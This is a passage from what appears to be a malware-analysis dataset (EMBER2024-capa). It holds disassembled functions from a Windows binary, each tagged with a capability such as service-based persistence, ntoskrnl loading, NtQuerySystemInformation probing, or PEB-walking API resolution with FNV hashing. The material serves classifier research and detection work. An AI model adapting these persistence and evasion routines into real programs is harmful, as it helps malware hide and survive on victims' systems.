joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400045f0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x1400c30c0]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rsp + 0x68]
call fcn.140007d50
nop
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x68]
call fcn.140007b70
lea rcx, [rsp + 0x68]
call fcn.1400079d0
lea r8, [rsp + 0x58]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x14000467a
mov byte [rsp + 0x34], 0
lea rcx, [rsp + 0x68]
call fcn.140007c00
movzx eax, byte [rsp + 0x34]
jmp 0x140004830
mov byte [rsp + 0x60], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400046d0
mov byte [rsp + 0x35], 0
lea rcx, [rsp + 0x68]
call fcn.140007c00
movzx eax, byte [rsp + 0x35]
jmp 0x140004830
mov byte [rsp + 0x61], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x61]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140004726
mov byte [rsp + 0x36], 0
lea rcx, [rsp + 0x68]
call fcn.140007c00
movzx eax, byte [rsp + 0x36]
jmp 0x140004830
mov byte [rsp + 0x62], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x62]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x14000477c
mov byte [rsp + 0x37], 0
lea rcx, [rsp + 0x68]
call fcn.140007c00
movzx eax, byte [rsp + 0x37]
jmp 0x140004830
mov rcx, qword [rsp + 0xa0]
call fcn.140007560
mov dword [rsp + 0x40], eax
mov rcx, qword [rsp + 0xa0]
call fcn.1400079d0
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400047f7
mov byte [rsp + 0x38], 0
lea rcx, [rsp + 0x68]
call fcn.140007c00
movzx eax, byte [rsp + 0x38]
jmp 0x140004830
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x140004810
mov dword [rsp + 0x3c], 1
jmp 0x140004818
mov dword [rsp + 0x3c], 0
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x39], al
lea rcx, [rsp + 0x68]
call fcn.140007c00
movzx eax, byte [rsp + 0x39]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1400997c0
add rsp, 0x98
ret
Function at 0x1400065e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x140006619
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140006707
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x1400066af
cmp qword [rsp + 0x20], 0
jle 0x1400066af
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x140006659
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.14000a5e0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rsp + 0x50], 0
jle 0x1400066f7
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x1400066f7
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x140006710
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x1400c30c0]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x140006744
xor eax, eax
jmp 0x140006940
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x140006776
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140006940
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140006827
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140006960
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.14000a5e0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x140006930
mov rcx, qword [rsp + 0x80]
call fcn.140008610
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x1400068dd
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x1400068d8
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x140006940
jmp 0x140006853
cmp qword [rsp + 0x50], 0
jbe 0x140006930
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400997c0
add rsp, 0x78
ret
Function at 0x1400086d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x1400c30c0]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x14000870d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140008714
mov al, 1
jmp 0x14000886e
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14000a540
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14000a540
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3c]
lea rcx, [rsp + 0x40]
call fcn.14000a5a0
movzx eax, al
test eax, eax
je 0x14000876b
xor al, al
jmp 0x14000886e
mov qword [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400087db
cmp dword [rsp + 0x30], 1
je 0x1400087e7
cmp dword [rsp + 0x30], 3
je 0x14000885c
jmp 0x14000886c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140008833
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x140008833
xor al, al
jmp 0x14000886e
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14000884d
mov dword [rsp + 0x34], 1
jmp 0x140008855
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x14000886e
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14000886e
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400997c0
add rsp, 0xa8
ret
Function at 0x140010730
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x118
mov rax, qword [rsp + 0x120]
add rax, 0x18
mov rcx, rax
call fcn.140011050
mov rax, qword [rsp + 0x120]
add rax, 0x18
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x38]
mov eax, dword [rax + 0x50]
mov edx, eax
mov rcx, qword [rsp + 0x38]
call fcn.1400110c0
mov rax, qword [rsp + 0x120]
add rax, 0x18
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0xc0]
mov rcx, qword [rsp + 0x40]
call fcn.140010ff0
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x38]
mov eax, dword [rax + 0x54]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0x50]
call fcn.140010ff0
mov rax, qword [rax]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rax
mov r9, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0xd0]
call fcn.1400112f0
mov qword [rsp + 0x28], 0
jmp 0x140010829
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x38]
movzx eax, word [rax + 6]
cmp qword [rsp + 0x28], rax
jae 0x1400109b3
imul rax, qword [rsp + 0x28], 0x28
mov rcx, qword [rsp + 0x120]
add rax, qword [rcx + 0x40]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x120]
add rax, 0x18
mov rcx, rax
call fcn.1400060e0
mov rcx, qword [rsp + 0x20]
mov ecx, dword [rcx + 0xc]
add rax, rcx
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x120]
add rax, qword [rcx + 0x30]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x120]
add rax, 0x18
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0xe8]
mov rcx, qword [rsp + 0x70]
call fcn.140010ff0
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0xc]
mov qword [rsp + 0x78], rax
mov r8, qword [rsp + 0x78]
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x80]
call fcn.140010f70
mov rax, qword [rax]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0xf8]
mov rcx, qword [rsp + 0x90]
call fcn.140010ff0
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x14]
mov qword [rsp + 0x98], rax
mov r8, qword [rsp + 0x98]
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0xa0]
call fcn.140010f70
mov rax, qword [rax]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb8], rax
mov r9, qword [rsp + 0xb0]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x108]
call fcn.1400112f0
jmp 0x14001081c
add rsp, 0x118
ret
Function at 0x140012070
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x1400c30c0]
xor rax, rsp
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.HARDWARERESOURCEMAPSystem_ResourcesPhysical_Memory
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsp + 0x78]
mov ecx, eax
call fcn.1400993e4
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x88]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x38]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x30], 0
jmp 0x140012167
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x30], eax
jae 0x1400121a3
mov rax, qword [rsp + 0x40]
add rax, 8
mov r9, rax
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0x68]
lea rcx, [0x1400c46b0]
call fcn.14000b7b0
mov rax, qword [rsp + 0x40]
add rax, 0x14
mov qword [rsp + 0x40], rax
jmp 0x14001215d
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
call fcn.1400993dc
cmp qword [rsp + 0x50], 0
jne 0x1400121ca
mov qword [rsp + 0x60], 0
jmp 0x1400121dd
mov qword [rsp + 0x38], 0x8123
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400997c0
add rsp, 0xa8
ret
Function at 0x140012210
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [0x1400c30c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x50], 0
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x28]
mov ecx, listen
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xc0000004
jne 0x1400122b6
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rsp + 0x50]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x28]
mov ecx, listen
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rsp + 0x30], eax
jmp 0x14001225a
cmp dword [rsp + 0x30], 0
jge 0x1400122d7
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x1400123cd
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0
jmp 0x1400122f5
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
cmp dword [rsp + 0x20], eax
jae 0x1400123b8
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 8]
mov ecx, dword [rsp + 0x20]
imul rcx, rcx, 0x128
mov rdx, qword [rsp + 0x38]
movzx ecx, word [rdx + rcx + 0x2e]
lea rax, [rax + rcx + 0x28]
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140007d50
lea rcx, [rsp + 0x58]
call fcn.1400079d0
mov rdx, qword [rsp + 0x90]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x1400123a9
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x128
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x58]
call fcn.140007c00
mov rax, qword [rsp + 0x48]
jmp 0x1400123cd
lea rcx, [rsp + 0x58]
call fcn.140007c00
jmp 0x1400122eb
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400997c0
add rsp, 0x88
ret
Function at 0x140012f10
Capabilities:
Load ntoskrnl

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xd8
mov rax, qword [0x1400c30c0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
lea rcx, [0x1400c4628]
call fcn.14000e2d0
test rax, rax
jne 0x140012f56
movzx eax, word [0x1400c4668]
test eax, eax
jne 0x140012f56
cmp qword [0x1400c4670], 0
je 0x140012f5b
jmp 0x140013143
lea rcx, [0x1400ae4b8]
call fcn.1400038e0
mov r8b, 1
mov rdx, rax
lea rcx, [0x1400ae0b0]
call fcn.1400123f0
mov dword [0x1400c4664], eax
xor edx, edx
mov eax, dword [0x1400c4664]
mov ecx, 0x1000
div ecx
mov eax, edx
mov word [0x1400c4668], ax
mov r8d, 1
xor edx, edx
lea rcx, [0x1400ae0c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [0x1400c4670], rax
mov edx, Ordinal_27
lea rcx, [rsp + 0x98]
call fcn.140002ee0
lea rcx, [rsp + 0x98]
call fcn.140011230
nop
lea rax, [0x1400c46b0]
mov qword [rsp + 0x38], rax
mov edx, 8
lea rcx, [rsp + 0x90]
call fcn.140002ee0
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x38]
call fcn.14000aa60
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x38]
call fcn.140014100
jmp 0x140013024
lea rcx, [rsp + 0x90]
call fcn.140014080
movzx edx, byte [rsp + 0x88]
lea rcx, [rsp + 0x90]
call fcn.1400140c0
movzx eax, al
test eax, eax
je 0x1400130d9
lea rcx, [rsp + 0x90]
call fcn.1400140a0
lea rcx, [rsp + 0xb0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x48], rax
lea rax, [0x1400132c0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb0]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x78]
call fcn.140015310
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x98]
call fcn.140013170
nop
lea rcx, [rsp + 0x78]
call fcn.140011e40
jmp 0x140013017
lea rax, [rsp + 0x98]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call fcn.1400038e0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x40]
call fcn.1400022f0
mov qword [rsp + 0x68], rax
jmp 0x140013114
mov rax, qword [rsp + 0x30]
add rax, 0x10
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x68]
cmp qword [rsp + 0x30], rax
je 0x140013136
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call fcn.140011f00
jmp 0x140013106
lea rcx, [rsp + 0x98]
call fcn.140013fd0
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400997c0
add rsp, 0xd8
pop rdi
pop rsi
ret
Function at 0x140016d10
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x1400c30c0]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov edx, 8
lea rcx, [rsp + 0x60]
call fcn.140002ee0
mov rcx, qword [rsp + 0xa0]
call fcn.1400038f0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x98]
call fcn.1400038f0
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x90]
call fcn.1400038f0
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x88]
call fcn.1400038f0
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.140017290
nop
lea rax, [0x140017370]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x80]
add rax, 8
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x60]
call fcn.1400038e0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x58]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x80]
cmp qword [rax], 0
je 0x140016e22
lea rcx, [rsp + 0x60]
call fcn.14000df00
jmp 0x140016e3d
mov rax, qword [rsp + 0x80]
mov dword [rax + 8], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, [rsp + 0x60]
call fcn.140017090
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400997c0
add rsp, 0x78
ret

Function at 0x1400178b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1400c30c0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov rbx, rcx
mov ecx, 8
call fcn.1400993a0
test rax, rax
je 0x1400178e1
mov qword [rax], rdi
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140018750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x14001792e
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400997c0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x14001a170
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14001a217
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14001a217
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14001a212
